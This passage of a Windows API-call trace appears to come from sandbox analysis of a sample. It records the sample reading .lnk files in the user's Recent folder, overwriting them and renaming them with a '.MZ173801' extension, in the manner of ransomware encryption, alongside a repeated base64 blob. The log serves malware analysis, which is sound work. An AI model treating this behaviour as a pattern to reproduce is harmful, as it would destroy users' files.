hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x3e8, lpOverlapped=0x0) returned 1 [0122.123] CloseHandle (hObject=0x288) returned 1 [0122.123] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tT3q4FRq.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tt3q4frq.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.124] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x3e8, lpOverlapped=0x0) returned 1 [0122.125] CloseHandle (hObject=0x288) returned 1 [0122.126] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tT3q4FRq.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tt3q4frq.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tT3q4FRq.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tt3q4frq.lnk.mz173801")) returned 1 [0122.127] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf832ce0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf832ce0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf832ce0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2079, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="tvrcQYtyJuP8g.ots.lnk", cAlternateFileName="TVRCQY~1.LNK")) returned 1 [0122.127] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.127] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.127] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tvrcQYtyJuP8g.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tvrcqytyjup8g.ots.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf832ce0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf832ce0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf832ce0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2079)) returned 1 [0122.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.130] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tvrcQYtyJuP8g.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tvrcqytyjup8g.ots.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.130] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.131] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.131] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x2079 [0122.131] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.131] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x2079, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x2079, lpOverlapped=0x0) returned 1 [0122.132] CloseHandle (hObject=0x288) returned 1 [0122.132] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tvrcQYtyJuP8g.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tvrcqytyjup8g.ots.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.133] WriteFile (in: hFile=0x288, lpBuffer=0x733ed0*, nNumberOfBytesToWrite=0x2079, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x733ed0*, lpNumberOfBytesWritten=0x18f99c*=0x2079, lpOverlapped=0x0) returned 1 [0122.134] CloseHandle (hObject=0x288) returned 1 [0122.135] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tvrcQYtyJuP8g.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tvrcqytyjup8g.ots.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tvrcQYtyJuP8g.ots.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tvrcqytyjup8g.ots.lnk.mz173801")) returned 1 [0122.136] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdda4b880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf728340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf728340, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="U0EOoc3x-.lnk", cAlternateFileName="U0EOOC~1.LNK")) returned 1 [0122.136] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.136] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.136] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U0EOoc3x-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u0eooc3x-.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdda4b880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf728340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf728340, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x998)) returned 1 [0122.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U0EOoc3x-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u0eooc3x-.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.139] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.139] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, 